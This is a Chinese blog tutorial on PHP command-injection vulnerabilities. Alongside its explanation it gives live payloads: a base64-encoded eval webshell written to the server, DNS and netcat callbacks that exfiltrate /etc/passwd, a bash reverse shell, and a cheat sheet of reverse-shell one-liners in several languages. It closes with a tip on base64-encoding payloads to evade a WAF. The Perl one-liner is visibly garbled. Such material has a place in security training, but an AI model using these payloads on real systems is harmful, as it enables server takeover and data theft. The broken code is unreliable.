您现在的位置是:首页 >技术杂谈 >【网络安全】命令执行漏洞网站首页技术杂谈

【网络安全】命令执行漏洞

边缘拼命划水的小陈 2023-05-25 08:00:02
简介【网络安全】命令执行漏洞

命令执行漏洞原理

应用程序中有时候需要调用一些执行系统命令的函数,在php中常见的为systemexecshell_execpassthruproc_poenpopen等函数用来执行系统命令。当黑客能控制这些函数的参数时,就可以讲恶意的系统命令拼接到正常的命令中,就会命令执行攻击,这就是命令执行漏洞。

危害

  1. 继承web服务器的权限执行系统命令
  2. 继承web服务器程序权限,读写文件
  3. 反弹shell
  4. 控制整个网站
  5. 控制整个服务器

检测方法

有回显检测方法

常用方法:

; (分号) 从左到右执行

在这里插入图片描述

| (管道符) 将见面命令的输入为后面命令的标准输入

在这里插入图片描述

&(后台任务符号) 命令从左到右执行

在这里插入图片描述

&&(与) 逻辑与,前面命令执行成功后才会执行

在这里插入图片描述

||(或) 逻辑或,前面执行失败才能执行

在这里插入图片描述

`(反引号)当命令解析时,首先执行反引号之间的操作

在这里插入图片描述

$(命令替换符)与反应号功能一样

在这里插入图片描述

有回显常用判断方式

win 操作系统
type c:windowswin.ini
linux 操作系统
cat /etc/passwd

无回显且有写入权限

  1. 传webshell到服务器中
|echo "PD9waHAgcGhwaW5mbygpO2V2YWwoJF9QT1NUWydjbWQnXSk/Pg=="|base64 -d >shell.php  #base64解码后写入到shell.php文件中

在这里插入图片描述
在这里插入图片描述

  1. 查看是否可以访问
    在这里插入图片描述

  2. 使用webshell工具连接
    在这里插入图片描述
    在这里插入图片描述

无回显利用dnslog平台检测

借助dnslog.cn查看访问
链接: http://dnslog.cn/
在这里插入图片描述

  1. 访问dnslog平台生成的域名
`whoami`.7w1v2u.dnslog.cn
  1. 查看dnslog平台是否有访问信息
    在这里插入图片描述

无回显利用bp检测

利用原理与dnslog是一样的

  1. 找到bp相关模块

在这里插入图片描述

  1. 复制dns地址
    在这里插入图片描述

  2. 访问此地址

|ping -c 4 m1odth5coly60euvoihemfn5kwqnec.burpcollaborator.net
  1. 刷新bp查看结果
    在这里插入图片描述

无回显利用netcat命令检测

  1. 使用kali监听9999端口

在这里插入图片描述

  1. 漏洞位置输入命令
|nc 192.168.0.107 9999 </etc/passwd
  1. 查看kali生成的文件信息

在这里插入图片描述

命令执行漏洞nc反弹shell

  1. 使用kali监听
nc -vlnp 8080
  1. 漏洞位置执行命令
|/bin/bash -c 'bash -i >& /dev/tcp/192.168.0.107/8080 0>&1'

在这里插入图片描述
在这里插入图片描述

常用的shell反弹命令:

bash shell 执行
||/bin/bash -c ‘bash -i >& /dev/tcp/192.168.0.124/8080 0>&1’
perl -e ‘use
Socket; i = " 10.0.0.1 " ; i="10.0.0.1"; i="10.0.0.1";p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(
“tcp”));if(connect(S,sockaddr_in( p , i n e t a t o n ( p,inet_aton( p,inetaton(i)))){open(STDIN,“>&S”);open(STD
OUT,“>&S”);open(STDERR,“>&S”);exec(“/bin/sh -i”);};’
python -c ‘import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.co
nnect((“10.0.0.1”,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,“-i”]);’
php -r ‘$sock=fsockopen(“10.0.0.1”,1234);exec(“/bin/sh -i <&3 >&3 2>&3”);’
ruby -rsocket -e’f=TCPSocket.open(“10.0.0.1”,1234).to_i;exec sprintf(“/bin/sh -i
<&%d >&%d 2>&%d”,f,f,f)’
nc -e /bin/sh 10.0.0.1 1234
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
r = Runtime.getRuntime()
p = r.exec([“/bin/bash”,“-c”,“exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line;
do $line 2>&5 >&5; done”] as String[])
p.waitFor()

tips: 如果遇到waf连接可以把语句进行base64加密后输入

风语者!平时喜欢研究各种技术,目前在从事后端开发工作,热爱生活、热爱工作。